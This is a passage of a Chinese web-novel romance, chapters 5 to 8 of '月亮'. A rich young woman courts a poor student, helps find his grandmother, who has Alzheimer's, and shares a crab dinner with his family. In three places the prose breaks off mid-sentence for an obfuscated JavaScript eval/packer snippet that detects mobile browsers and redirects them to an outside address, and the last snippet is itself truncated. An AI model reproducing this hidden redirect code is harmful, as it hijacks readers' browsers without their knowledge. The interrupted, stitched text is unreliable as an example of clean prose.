明斓斜窝在沙发一角,指尖托着一杯西瓜汁,咬着吸管说:“没有,我就是觉得许墨白挺倒霉的,遇到这么个疯子。” 看到贴吧视频时还不觉得怎么样,亲眼看他挨了一巴掌她心里就很不是滋味了,凭什么啊! 江琳茜:“不要心疼男人,说不定人家许墨白乐意的很,傍上李家飞黄腾达,就算娶个疯子又如何。” 空气中漂浮着荷尔蒙和各类香水混杂的气味,明斓忍不住皱了下眉:“那他为什么不来傍我,我也能让他飞黄腾达啊!” 江琳茜:“不是吧,你还真看上许墨白了啊?” 明斓吸着西瓜汁没回话。 旁边穿皮衣的少年听闻这话立马把脸凑到二人之间:“什么,明大小姐看上谁了?” 他叫周凛让,明斓另一个发小,周凛让的姑姑是骨时董事长周擎,骨时与明氏是安京最大两家企业巨头,骨时这些年主要发展电子科技类新型产品,明氏则多投资传统连锁酒店和消费业,两家几乎没有竞争关系,向来交好已久。 这一代,只有周凛让与明斓年纪相仿,双方家长都有意撮合他们俩。 不过明斓一直看他不爽,明丽的小脸写了烦躁,咬着吸管挤出一个字:“……滚。” 周凛让嗤笑:“你就不能对我态度好点,我也算你的未婚夫,以后得靠咱俩把明氏和顾氏发扬光大。” 明斓第二个“滚”字还未骂出口,包厢门突兀地从外面被打开,数十个穿黑衣带墨镜的保镖齐刷刷走进来站成一排。 周凛让咽了咽喉咙:“不是吧,大小姐,您骂归骂,我又不还口,不至于叫这么多人吧。” “不 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周凛让很快又提议:“要不咱们换个酒吧继续happy,城南新开了一家新的主题音乐酒吧,去那边?” 明斓没了兴致:“没兴趣,我回去了。” 夜里降了温,明斓穿得单薄,在风口站了会,两条细白的长腿开始打摆。 她搓了搓胳膊撇下几个人,迎风往大路走,边走边低头看着手机中打车软件,没人接单。 一转脸,路边一阵疾风闪过,她下意识抬头,微微眯了下眼。夜色中,少年骑着一辆老旧山地自行车,短袖被晚风吹起一个包,细碎短发有些凌乱。 咦。 猎物这不又送上门了。 明斓心念微动,一路小跑追了过去。 前方红灯,许墨白刹住车,长腿支地。 突然身后一沉,一团带着茉莉香的阴影扑过来。 许墨白心一紧,腰间已经勾过一条如嫩藕般白皙的手臂,顺势一搂。 “许墨白。” 女孩甜甜的嗓音在夜色中回荡,许墨白迅速反应过来,下车往身后看去。 明斓正坐在他的自行车后座上,她穿粉色百褶短裙和白T,长发绑成马尾,两条洁白的腿随意晃动着,歪头朝他浅笑:“好巧啊。” “你怎么在这?”许墨白。 5. 月亮 许墨白下午在奶茶店值完班,脱下工作服来不及回家就骑自行车去了市疗养院。 他的奶奶患有阿尔兹海默症,也是俗称的老年痴呆,目前症状已经开始不记事有时还会乱跑,必须时刻有人看管。 许墨白和妹妹都在上学,无奈只能把她送到疗养院,不过他几乎每天都抽时间过来看她。 疗养院的空气中满是腐朽和消毒水混合的气息,他熟练的进电梯上了九楼,走廊上有熟悉的护工亲切和他打招呼:“小许来看奶奶了?” 许墨白:“嗯。” 走廊还有几个老人搀扶着散步,看到了他私下聊着天:“你看人老许家孙子多孝顺啊,天天都来看她,擦身体喂饭一点不含糊,你瞅瞅我家那个半年不来一趟。” “老许命好,孙子成绩也好,保不定以后成了大老板就能接她出去享福了。” “享啥福啊,她可是老年痴呆啊,等到了晚期就大小便失禁躺床上翻身都困难,和植物人一样,这时候啊还不如死了呢,做人可得留点尊严。” “哎当这人孩子面别说这些。” “……” 许奶奶躺在床上睡着了,旁边放着一架轮椅,许墨白给床头的向日葵换了水。 再次坐回床前握住了她的手,许奶奶手指粗糙也没多少肉,像是握了块朽木,一看就是年轻时干多了农活,许墨白摩挲着她的手背静静坐了一会。 隔了几分钟许奶奶醒过来了,许墨白把她扶起来,笑着说:“奶奶,我来看你了。” 许奶奶盯了他好一会:“你谁啊?” 又不记得他了,许墨白垂眸:“我是您孙子墨白,您忘了我和二白从小跟着您长大的,咱家后院种了两亩的油菜,每年都……” 提起油菜,许奶奶眼中都会多几分神采,她拍着被褥:“哎呦呦,我怎么给忘了家里油菜还没割呀,我得回去了,再不割赶不上明年播种了,这是我大孙子的学费啊,再不交学费人家不让他念书了啊。” 许墨白握紧她的手:“奶奶,油菜都割完了,油菜籽也卖出去了。” 许奶奶浑浊的眼珠转了转:“卖完了?” 许墨白:“卖了。” 许奶奶:“学校让我孙子上学了吗?” 许墨白挤出一个笑:“嗯,让了。” 许奶奶笑得皱纹都绽开,脸上带着宠溺的笑:“太好了,我跟你讲,我孙子可有出息了,学校第一名呢,必须得上学,咱砸锅卖铁也得上学啊!” 许墨白笑着听她絮叨,伺候许奶奶吃了饭,帮她洗了脚按摩了肩膀胳膊,又陪她看了会电视,等到十点多奶奶睡下后才离开疗养院。 许墨白沿着路灯往外走,不多时口袋中手机叮的一声,他摸出看一眼,是一条转账信息【尾号为2738的账户向您转账1000元】 许墨白每月都会收到这样一条短信,转账信息没有署名,但他知道这是他妈妈岑丽转来的。 许奶奶疗养院每月花费在六千到八千,妹妹小白生活费学费还有语言学校的费用换算下来每月也要两千到三千,一千块对他而言几乎杯水车薪。 许墨白没有告诉岑丽这些,他不想再加重她的心理负担,除非万不得已也没有动过这笔钱。如今每月一条的转账信息对母子俩而言,不过是确认彼此还在世界某个地方的讯息罢了。 …… 许墨白深思回笼,站在原地,双手支撑着自行车,腹部还停留着女孩温柔的指腹温度。 “你怎么在这?” 明斓笑着说:“我和朋友出来玩,正要回去,你送我一段呗。” 许墨白并不想再与她扯上联系,他偏了下脸:“不太方便,你打车吧。” 明斓顿了顿,歪头仔细观察他,昏黄的灯光从头顶射下,将他的眸子埋入睫毛下的阴影,看不真切,但她就是有种预感。 明斓敛下眼:“你不开心?” 许墨白平静说:“没有。” “哦。”明斓也不说话了,但眼睛仍一眨不眨盯着他,带着三分审视,却没有任何要离开的打算。 “下来。”许墨白眼中没有任何温度,夜色过暗,像是凝成一团有重量的实体压在他的眼中。 明斓乖乖下了车,卷翘的马尾发梢在夜风中浮动。 许墨白跨上自行车,长腿轻轻蹬地,踩上脚踏板。 明斓上前一步,揪住他的衣角:“你要走嘛,这么晚我一个女孩子单独打车太危险了,我又长得这么漂亮,万一遇到流氓怎么办?” 许墨白回头看她一眼:“明大小姐,整个安京谁不知道你是明琛的妹妹,有哪个流氓敢动你?” 明斓鼓着腮:“这都是你们外人以为的,明琛又不是我亲哥哥,实际上他对我一点都不好,他巴不得我早点死了,好霸占我家的家产。” “……” “是真的,我今晚就是被他赶出来的,我回家那片路偏僻路又黑,治安还差,如果你不管我,我真的会出意外的。” 明斓讲起歪理一套一套的:“好歹我们也认识一场,我捡到了你的工牌,如果我真出意外了,你一定会后悔现在没有管我的。” 顶上老旧路灯闪了下,昏黄色阴影攀上他的侧脸,落在他的眼下。 看他无动于衷,明斓丧气地松了手。 “不愿意就算了,你走吧,我只能自己走路回家了,也不久,大概也就一个小时而已,一个人孤孤单单的。” 她穿得清凉,两条洁白的腿在夜色中白到反光。许墨白匆匆一撇,又见她缩着肩,胳膊都在轻轻打颤,像只可怜巴巴被抛弃的小动物。 许墨白终归还是心软了:“上来吧。” 明斓就知道他会同意,其实他完全可以直截了当拒绝,强硬的扔下她不管,可惜他好像永远不会这样粗鲁无礼的对待别人。 这人真有意思。 明斓一下子笑出来,捋好裙摆,跳坐到他的车后座,身体一倾就要去揽他的腰。 许墨白先发制人,单身握住她的手腕。 明斓天真歪头看他:“不能抱吗?” 许墨白:“不能。” 明斓又问:“好吧,那我把手放在你腰上行吗?” 许墨白:“……不可以。” “小气鬼,”明斓仍不死心:“那我抓着你的衣服总可以了吧,不然一遇到减速带什么的我怕摔下去。” 许墨白咽了咽喉咙,最后妥协:“嗯。” 明斓抓住了他侧腰的T恤。 许墨白长腿蹬地,骑着车子往前,夜色浓稠如墨,时间愈晚,马路上来往车辆不多。 他身上的气息浅淡,能闻出是来自干爽的洗衣液。 过了几分钟,明斓又开始不老实,指尖有意无意绕着他的腰窝打圈。 许墨白很想无视她,但女孩子的指尖细腻柔软,像根羽毛扫过心尖,带起阵阵涟漪。 她的手指每刮一下,他的耳根就更红一寸。 “明斓。”许墨白哑着嗓子喊了句。 明斓偏头微笑:“在,怎么了?” 她其实蛮喜欢他喊她名字时的声线,很普通的名字从他舌尖碾过带上说不出的珍重,听得人酥酥麻麻的。 许墨白:“不要乱动。” “哦,好的。”明斓立马收起了她为非作歹的小爪子。 “……” 许墨白一开始以为明斓是和李菁菁一样任性妄为的千金大小姐,相处下来发现,她和李菁菁还是不一样的,她虽娇纵却很有分寸,不会强人所难,他退一步她就进一步,他进一步她就退一步,在试探区来回踱步。 “许墨白。”明斓叫他。 许墨白没应他,明斓继续问:“你还疼吗?” 许墨白握住车把的手指用力到泛白:“没事。” 他没说疼不疼,只说没事。 明斓的心一下子揪起:“她经常打你吗?” 许墨白没回答。 明斓替他打抱不平:“你脾气也太好了吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892331|176519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是受她家资助,又不是卖给她家,凭什么随便打人啊,真是的。” 许墨白没吭声,明斓又说:“要不这样,你欠她多少钱,我帮你把钱还了,你欠我钱没关系的,还不还什么时候还也没关系的。” “不需要。”许墨白一口回绝,语气冷硬。 “哦。”明斓没话说了,过了半晌,她突然问他:“你是不是很讨厌我啊?觉得我很烦人?” “没有。” “那我们算朋友了吗?” 许墨白没吭声,因为李菁菁的原因,他对朋友这样的词几乎都失去了概念。 “算了算了,不用回答了,反正也说不出什么我爱听的话。”这个问题还是太难为他了,明斓退而求其次:“我这周末过生日你要不要来啊?” 许墨白一向是喜欢安静的人,很少参加这样的活动,何况两人根本就不熟,他想都没想就准备拒绝:“我后天要值夜班。” “哦,嘴上说不讨厌我,实际上恨不得躲得我远远的,你不会觉得我跟李菁菁一样要对你死缠烂打吧,我可没那么不要脸。” “不是。”她真是很喜欢颠倒黑白,许墨白重复:“我真的要值夜班。” “那如果我找人替你值夜班你就会来吗?” “我……” “你看,你就是不想来,还拿什么夜班当借口,虚伪。”明斓的语气似是有些低落。 “你……希望我去?” “当然了。” “为什么?” 她总是有很多理由:“人多热闹啊,虽然你不把我当朋友,我还是很想和你交朋友的,朋友多玩游戏也过瘾。何况如果你去我会很开心的,过生日不就是要开心。” 许墨白只听到最后一句,有种微妙的情绪涌上心头。 他叹了口气,很无奈的样子:“我知道了。” “知道了是什么意思?” “我会去的。” “真的,不许耍无赖骗人哦。” “不会。” “你跟我拉钩。”腰侧顺势伸过来一只柔软的小手,朝他比了个“六”,许墨白无奈,伸出小指给她拉了下。 身后的小姑娘开心的要蹦起来,嘴上开始哼唱:“啊baby你依旧如此的美,啊今夜让我无法疲惫……Ifeelinggood,Ifeelinggood……[1]” 她嗓音干净,还会给自己唱和声,声音一层又一层,回荡在寂静的夜,似月光和水。 世界很静,只有她的声音。 许墨白克制着,弯了下唇角。 “Ifeelinggood,Ifeelinggoodgoodgood……” 把明斓送回汀兰水榭,许墨白要离开时,看她一直站在门前,两条腿被冻的微微泛红,却还是不回去。 许墨白问她:“还有事?” 明斓酝酿好一会儿才说:“你要进来喝杯饮料吗?” 话出口,明斓真想捂脸叹一声,这搭讪套路土掉渣了。 “不了,谢谢。”果不其然被拒绝了,他扬了扬下巴:“挺冷的,赶紧回去吧。” “好,再见。” 少年的背影很快浸在暗色里,明斓看着他离开的方向,蓦地笑了。 “什么事这么开心?”恰逢明琛下班回来,迈巴赫停在门前,后车门打开。 明斓眉眼弯弯,提着裙角在她车门前转了一圈:“哥,你觉得,我的腿好看吗?” 她今晚穿得格纹短裙,白色板鞋短袜,露在外面的一双腿纤细匀长。 明琛眉头微蹙:“这几天降温了,穿这样不冷?” “冷。” “冷还穿,赶紧进屋。” “你不懂了吧。”明斓神秘兮兮蹦跶回房间,“这都是学问。” 她这波牺牲可不亏。 不然还不知道某些人啊,面上端的是清心寡欲的唐长老。 实际上一晚上都偷瞟她的腿三次了。 6. 月亮 把明斓送回汀兰水榭,许墨白到家时许听白已经睡着了,虽然他尽量把进门动作放轻,客厅光亮起来后,她还是醒了。 许听白搓了搓眼睛,迷迷糊糊走出来:“哥哥、回来、好晚。” 大白窝在阳台吊椅睡觉,见他回来,“蹭”的一下跳下来,摇着尾巴扒他裤腿。 许墨白换完鞋子,半蹲身下摸了摸大白的头,往阳台扔了个滚球,让它去一边玩:“去看奶奶了,吵醒你了?” 因为他俯着身子,许听白没看到他的嘴唇,摇了摇头,有点委屈的说:“听不懂。” 许听白是先天性神经性耳聋,十岁才配上人工耳蜗,错过了语言发展最佳时期,她可以听见声音,但反应迟缓,很多词组都听不懂。 对于妹妹,许墨白也总觉心中有愧。 许墨白站起来,让她能看清自己的唇,重复了一遍,许听白看明白了,她笑起来:“没有,我等哥哥。” 许墨白:“以后不用等我,早点休息,明天还要早起补课。” 许听白:“嗯,早、休息。” 许墨白换了睡衣,去浴室洗完澡,再回到卧室。 黑暗中,床头一点微弱的光闪了一下。 是同专业一位学长发的微信,他前几天联系到的,叫祝卿宁,问他要了大学基础课的书籍目录,准备趁着假期自学。 祝卿宁正好从图书馆回来,就给他拍了一摞专业书籍。 许墨白回了句:【谢谢。】 寒暄几句后结束了话题,他擦着头发随手点进朋友圈翻阅,他微信好友不多,平时也不怎么看动态,只偶尔看看别人分享的生活。 一刷新页面跳出一条新动态。 【小明同学:啊baby你依旧如此的美,啊今夜让我无法疲惫,啊不要让我等太久baby。】 是路上明斓唱的那首歌的歌词。 配图是一张坐在泳池前的侧身照,长发遮住了脸。 她穿纯黑色泳衣,后背裸空,蝴蝶谷和腰窝清晰可见,两条长腿一前一后微微弯曲半浸在水中,隐隐可见水下圆润白嫩的脚趾涂着好看的红色,像浸着水珠的樱桃。 许墨白忽然感觉口干舌燥,喉咙微微发痒。 明明她只是穿着很普通的连体泳装,他的视线不受控的黏到她身上裸露的皮肤,像个变态偷窥狂一样。 虽然知道有些自作多情,可他总觉得,这张照片是她故意发出来给他看的。 许墨白心里隐隐有些不安,虽然他不会因出身而自卑,可是更清楚很多差距是他注定无法跨越的鸿沟。他有自知之明,像明斓这样娇生惯养的大小姐,是不可能真的对他有什么想法的,他不应该去奢望不属于自己的东西。 许墨白欲盖弥彰的关掉手机,跑去浴室又冲了个澡,回来靠着床头好一会儿时间,心跳还是有些快。 _ 第二天明斓睡了个懒觉十点钟才起床,吃过早饭闲着没事干,准备出去逛逛。 她穿了件明黄色吊带短裙,大多人难以驾驭颜色在她身上更衬得肤白如雪,蓬松棕色长发如海藻般散落,她戴着墨镜,鼻梁高挺,下颌精致流畅。 楼下正打扫卫生李婶看到她诧异停下动作,不得不承认她今天实在漂亮得太过夺目,她笑着揶揄:“是小姐啊,我还以为是哪个大明星过来了呢。” 明斓取下墨镜折起挂在领口:“李婶,我也不比大明星差吧。” 李婶嘿嘿道:“是比大明星还好看呢,小姐今天这是去约会?” 明斓勾着红唇:“去撩人。” 出门和司机报了个地址,明斓便靠在后座闭目养神。 她打听过了,许墨白的奶奶汤兰英住在市南区疗养院,他自幼丧父,母亲也在他很小就离开了家,由他奶奶一手带大,感情甚笃,所以她准备先从他最亲的人开始攻略。 明斓去超市买了点补品,提着大包小包的补品走进疗养院,前台登记好,坐电梯上了九楼。 电梯开合间,几个急色匆匆的护工闯进来,一不小心撞了她的肩,明斓手里燕麦片险些被撞掉,她刚要发火,旁边护工打电话的声音响起:“您好请问是汤兰英的家属吗?你方便现在过来吗……” 明斓一怔,竖起耳朵听。 “好的好的,您知道她经常去的地方吗,或者她有没有记忆深刻的地方?” “是是是。” “好的好的,我们会马上去找。” 挂断电话,护工就要往外跑,被一旁的明斓扯住手腕,她摘了眼镜:“你说汤兰英怎么了?” 护工上下打量她,长得漂亮的人总是更能获取陌生人的好感,她问:“你是?” “我是来看望她的,你刚刚说的人是汤兰英吧?” “是她是她,”护工眼睛一亮,大概是觉得多了个帮手,攥着她的手:“她不见了,就早上吃饭时人还在的中午就找不到了,房间卫生间院子都没有,已经失踪五六个小时,你快和我一起去找找吧。” 明斓奇怪:“一个大活人才消失五六个小时急什么,她可能出去遛弯了。” “哎呀,你不清楚她有阿尔兹海默症吗?她不能一个人出去的,走丢很容易遇到危险。” 阿尔兹海默症,老年痴呆? 明斓懵懵的被护工拖拽出去,给她指了个小花园方向让她去那边找人,转头就跑了。 但明斓根本就不认识汤兰英,怎么找。 她漫无目的在小花园转了一圈,看到不少上年纪的老太太推着孙子在晒太阳,也有下象棋、练太极的老头,每个人脸上都洋溢笑容,安静祥和,没一个看着像走丢的许奶奶。 正当她要无功而返时,注意到小公园门口公交站的一位老人,七十多岁,满头华发,穿着一件灰蓝色像工作服一样的马甲。 明斓记起来了,疗养院里不少老年人穿着同款,这应该是疗养院统一配备的。 明斓大步踏上前,听到她正在跟行人问路:“小妹,我不认字,你能不能帮我瞧下汉水街哪里上车?” 她说的是云南方言,路人纷纷摆手说自己听不懂,明斓在云南住过一段时间,勉强能懂一点,她走过去:“奶奶您是想去汉水街啊?” 汤兰英扭过身子,慈眉善目一张脸,一直笑呵呵的:“小妹认识路?” “我知道,奶奶您是姓汤吗?”明斓问道。 奶奶耳朵不好使,一直在说:“我不喝汤,我去汉水街买螃蟹,我孙子可喜欢吃螃蟹了,我去买螃蟹。” 有孙子,看来是没认错人。 她走过去搀住她胳膊,再次跟她强调:“奶奶,去汉水街不坐这里的车。” “我坐车过去。” “是要坐车去,但您坐错了。” “我走错撒?” “嗯,我陪你去找公交站吧。” “好好好,谢谢你啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892332|176519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小妹。” “不客气。” 明斓陪着她走了一段路,坐上217路公交,经过五站到汉水街下了车,汉水街是安京有名的海鲜市场,一下车就闻到浓重的海腥味。 只是下午大部分海鲜市场都关门了,只有零星几家正在收摊装车,奶奶挨家挨户问过去:“有螃蟹卖吗?” 摊贩要不在说:“卖完了。” 要不就没听懂,干脆不理人。 奶奶站在偌大的海鲜市场,粗糙的手指搓着裤兜,取出用手绢包起的零钱,十块的五毛的卷成好几卷:“一只也行,卖一只给我吧,我孙子想吃螃蟹……” 商贩正忙着搬运货箱,嫌她唠叨,不耐烦地挥手:“都说没有了,你这老太太怎么回事,明天早点过来买,这会都收摊了。” 奶奶离得近,被他挥动的胳膊晃了下,本就不利索的腿脚踉跄几步,明斓赶紧过去扶住她:“你这人怎么说话的,没有就没有推人干什么?” 商贩:“小姑娘可别讹人,我都没碰到她。” 明斓瞪了他一眼,低头说:“奶奶,我们不在这买了,这里的螃蟹不好,不新鲜。” “呦,你这小姑娘口气不小啊,居然嫌我们这的不新鲜,”商贩嗤笑:“我们这可是安京最大海鲜市场,超市都从这进货,除非去海里现抓,没有比我们这更新鲜的了。” 那还真是巧了,她明家什么都没有,就是酒店多,不就是几只破螃蟹嘛,还真是不稀罕。 明斓摸出手机,拨通了个电话。 对面对她毕恭毕敬地:“呦,明大小姐,您有什么事?” “没什么事,孙老板,今天有往栎园后厨送螃蟹吗,给我也送点过来。” “有有有的,熟的还是生的,帝王蟹还是热带椰子蟹?都有。” “生的,就普通大闸蟹就行,”明斓边打电话边往外走,没注意到身后商贩已经变了脸色,她继续说:“给我装五斤让人送到汉水街海鲜市场。” “好勒,什么时候?” “就现在。” 挂断电话不足二十分钟,孙老板的大闸蟹就送到了海鲜市场,奶奶笑得合不拢嘴,拉着她的手一直说谢谢:“谢谢你啊小妹,你跟我回家吧,我回去做螃蟹给你吃。” 明斓嘴上说着:“好啊。” 底下拿手机给许墨白发了条微信,说自己在海鲜市场。 许奶奶一拍脑门,拧着眉头细思:“我住哪来着?怎么想不起来了。” 明斓安慰她:“您慢慢想想,不着急。” 奶奶摩挲着衣服还有口袋,却什么也想不起来,急得满头是汗,撸袖子时明斓看到了她胳膊写着一串数字,是纹上去的电话号码,应该是许墨白纹的。 她开始变得焦躁不安,哆哆嗦嗦的不知要去哪,明斓急忙岔开话题:“奶奶,我这会儿去你家吃饭,你那孙子不会赶我走吧。” 许奶奶怔了怔,思绪又被她拽了回来,拍着胸脯说:“不会不会,我大孙子懂事学习也好,一直是第一名,高考状元的呢,老师同学都很喜欢他,是个好孩子。” 明斓眉目挑了挑,没说话。 奶奶看着明斓,也是越看越喜欢,握着她的手问:“小妹你也是个好孩子,有男朋友了吗?” 明斓笑着摇头:“我还没有。” “一会儿我介绍大孙给你认识,长得可高可帅了。” “好啊。” 7. 月亮 许墨白收到明斓微信时,许奶奶已经走丢了快十个小时。 中午听到许奶奶不见的消息,许墨白脑子嗡的一声,二话不说赶紧把工作扔下,打车去了疗养院。 以前也发生过类似情况,许奶奶年纪大了腿脚不便一般都走不远,最多在疗养院或者花巷里附近转转,可这次许墨白几乎把附近的小区和公园都翻遍了还是没有找到她。 许奶奶本就是乡下人,不认字普通话也不好,现在更是记不住事,他真担心她出了什么意外。 直至收到明斓的微信,悬在嗓子眼儿的心脏才终于放心回落到胸腔。 许墨白赶到海鲜市场,一老一少正蹲在楼梯的台阶上开心地聊着天,面前放着装螃蟹的泡沫箱子,许奶奶眉飞色舞地跟她讲螃蟹的做法。 许墨白呼了一口气,走过来,声音低沉沙哑喊了句:“奶奶。” 许奶奶仰起头有些迷茫看他:“你谁啊?”说着,又问旁边的明斓:“找你的啊?” 明斓愣了下,心尖最软的部分像被突然戳了一下,她记得孙子喜欢吃螃蟹,却已经认不出她的孙子了。 她说:“不……不是。” 许墨白背光站着,秋风把他的额发吹得乱飞,路灯落在他的眉眼,他脸上倒是没什么伤心表情,似是遇到无数次这种情景,沉默着搬起泡沫箱子,目光落到许奶奶身上:“走吧,我们先回家。” 许奶奶见他动泡沫箱,不乐意地站起来,不依不饶地去夺他手里的箱子:“坏人,不准抢我的螃蟹,这是给我孙子买的,你不准抢啊!” 许墨白一手托着箱子,单手扶住她的胳膊:“奶奶,你仔细看看我,我是墨白,我就是你孙子,我是墨白!” “墨白?”许奶奶迷茫地看着他。 “嗯。” 许奶奶嘴里含糊不清念叨着:“你是墨白?” “嗯,我是墨白。” “不像啊……我家墨白没你这么高,我不信,你把螃蟹给我。” “太重了,我帮你搬着。” “不行,这是刚刚那个小妹买的,你不能动。” “我叫着她一起。” 明斓一直觉得许墨白是个冷感很强的人,但在面对家人,却出奇地柔软。 许墨白哄着许奶奶走出去很远,回头才发现明斓还站在原地,不知道发什么愣。 许墨白停住脚步,声音不自觉放轻喊她:“明斓。” 明斓这才如梦初醒般跟上去,因为许奶奶无论如何都要回家做螃蟹,他没法直接把她送回疗养院,只能先回花枝巷。 花枝巷是市区的一片老居民区,周围没有路灯,小路漆黑一片,显得有些阴森森的。许墨白搀着许奶奶走前面,不时提醒明斓注意脚下。 明斓很意外,她从小住在安京,一直不知道市里居然还有这种脏乱差的地方。 看着像危楼。 进了单元门,楼梯过道就更拥挤了,楼梯上堆着杂物只容一人通过,明斓小心翼翼注意脚下,才不至于被绊倒。 他家六楼,走廊也很长,是学校宿舍那种。许墨白在某一间的门前停下,取出钥匙开门,把手里东西放进去,在鞋架拿出双拖鞋,示意她们进去。 虽然外面破破烂烂的,家里却是很整洁,是两室一厅,客厅摆放着一张沙发和小茶几。 听见开门声,一只白色萨摩耶蹭的一下从阳台窜出来,摇着尾巴竖起耳朵:“汪!” 许墨白喊了他一声:“大白,不许乱叫。” 大白听话地趴下,腿边有个毛茸茸的触感,明斓蹲下摸了摸他的脑袋:“它叫大白?” 许墨白点头:“嗯。” 次卧房间打开一条缝,一位留着波波头的女生探出头来,看到了明斓,紧张兮兮又把门关上了。 明斓:“?” 许墨白说:“她是我妹妹,许听白,有点胆小。” 明斓:“哦。” 大白、墨白、听白,一家子都姓白,有意思。 明斓弯腰:“大白。” 听喊它的名字,大白耳朵动了动,朝她卖萌般地吐舌头,果然微笑天使称呼名不虚传啊,人心都要萌化了。 她这逗一圈大白的功夫,许墨白已经打开电磁炉烧水,明斓过去把泡沫箱拆开,里面的螃蟹都用橡胶皮筋缠住钳子,还在箱子里里挣扎,是活的。 许墨白看她要徒手去抓螃蟹,赶紧过来阻止:“你别动,我来。” 明斓也想帮忙,可看了一圈发现屋子没有厨房。 明斓:“没厨房吗?” 许奶奶说:“厨房公用的,在走廊、最北头。” 人记不住,这她居然记得很清楚。 许墨白把螃蟹倒进不锈钢水盆,人蹲下去,倒水加盐浸泡清洗,他低着头,手指修长,灵活的给螃蟹做了个spa。 明斓在一旁俯视她,看他挺拔的鼻梁上冒出细微的汗,她取过桌上的治不孕不育的广告牌扇子帮他扇了扇。 凉风鼓过,吹起他前额的短发,他抬眸看她一眼,视线轻轻一瞥就落到女孩的领口,她的肩颈很漂亮,两根锁骨像弯下去的月牙,吊带领口很低,影影绰绰的曲线伴随清甜的果香。 他迅速低下头,耳根处不受控的泛起红。 他低声说道:“今天谢谢你。” 明斓知道是说她帮他找奶奶的事,她笑了笑,手腕使了点劲:“不客气。” 许墨白问她:“你喜欢吃螃蟹吗?” “还行,就是吃起来有点麻烦。” “你想蒸还是炒?” 明斓笑说:“你说了算,我就一个蹭饭的。” 许墨白又看向一旁的许奶奶:“奶奶,螃蟹想怎么做?” 许奶奶想了一会儿:“调个料,蒸一下吃吧。” 许墨白说了声好,去冰箱取出啤酒,姜片擦一遍蒸屉,啤酒腌渍大闸蟹,入锅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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女孩:“不用客气,我妈妈做了很多的,反正都是邻居,互帮互助应该的嘛。” “今天不方便。” “哦,好吧,那下次吧,下次一起。” 明斓在后面,看着两人说笑地有来有回。 小姑娘又说:“那个哥哥……今天物理课上老师讲的题我有点没懂,一会你能教教我吗?” 明斓不淡定了,她快走两步硬挤到二人中间,抱住许墨白的胳膊娇嗔:“哥哥~” 许墨白被她这声嗲声嗲气的“哥哥”激得寒毛都竖起来了。 “哥哥,人家手指好痛,想让你给人家呼呼~。” 切,喊哥哥谁不会。 8. 月亮 回到房间,许墨白从抽屉取出碘酒帮明斓简单消了毒,刀口不算深,只是明斓皮肤白,一道红痕看起来还是很明显。 抽屉里没有创可贴了,他起身敲了敲许听白的房门,怯生生的女孩打开一条门缝,许墨白问她:“你房间是不是有创可贴,拿两个出来。” 许听白:“好。” 明斓摁着手指头坐在沙发上眼巴巴等他拿创可贴,大白乖巧地趴在她脚下蹭她的腿。 看来大白蛮喜欢她的。 搞定许墨白第一步,先搞定他奶奶和他的狗。 许墨白把创可贴递给她:“给。” 明斓眨巴着眼,满腔都是撒娇的语气:“你帮人家贴嘛,一只手不好贴,不方便啦!” 许墨白没答应帮她,把创可贴递给了门前杵着的许听白:“帮她贴一下。”转身就要出门,明斓追问:“你去哪啊?” 许墨白:“去收拾一下厨房。” 明斓气的鼓腮。 怎么会有人这样不解风情。 她都撒娇叫哥哥了,一点反应都没有,是不是男人啊! 许听白看她气成一只河豚,没忍住笑了。 明斓:“你笑什么?” 许听白低着头:“哥哥、害羞。” “害羞?”他更像害怕吧,她又不是白骨精,至于吗! 许听白蹲在她身前,撕开创可贴的边角,小心翼翼贴在她的指腹,绕了两圈:“刚才,哥哥都不敢、看你的眼睛。” 有吗? 她都没注意到。 明斓停了几秒钟,突然噗嗤一声笑起来:“妹妹,你倒是比你哥哥讨人喜欢嘛。” 贴完小熊□□的创可贴,许听白把盒子收起来,红着脸说:“我回……房间了。” 怎么这兄妹俩一个比一个的纯情,跟她说话动不动的脸红。 “回房间干什么,大闸蟹一会就好了,坐下等吃。” 许听白犹犹豫豫的:“我……” “这是奶奶特意给你俩买的,对不对奶奶?”为了留下她明斓赶紧许奶奶搬出来。 许奶奶一脸茫然看着许听白:“你是谁?” “……我是听白,奶奶。” “听白,听白你怎么会说话了?” “嗯,我学会了。” “会说话好啊,”许奶奶再度指着明斓:“她是谁?” “她是哥哥的朋友。” “你哥哥是谁啊?” “……” 明斓是第一次接触过阿尔兹海默症病人,有一种深深的无力感,她们像是进入了逻辑混乱的世界,嘴里念叨着自己挂念的孙子,可记忆中孙子的面目已经模糊,没办法记住任何人。 明斓感觉心里有点不是滋味。 屋里没开电视一直很安静,许奶奶牙口不好吃不了太多,没一会就说累了想去休息,许听白把她扶到自己房间,关了灯。 大闸蟹浇上汤汁后味道有点辣,明斓慢条斯理剥着蟹肉,偶尔看一眼身旁沉默的女孩。 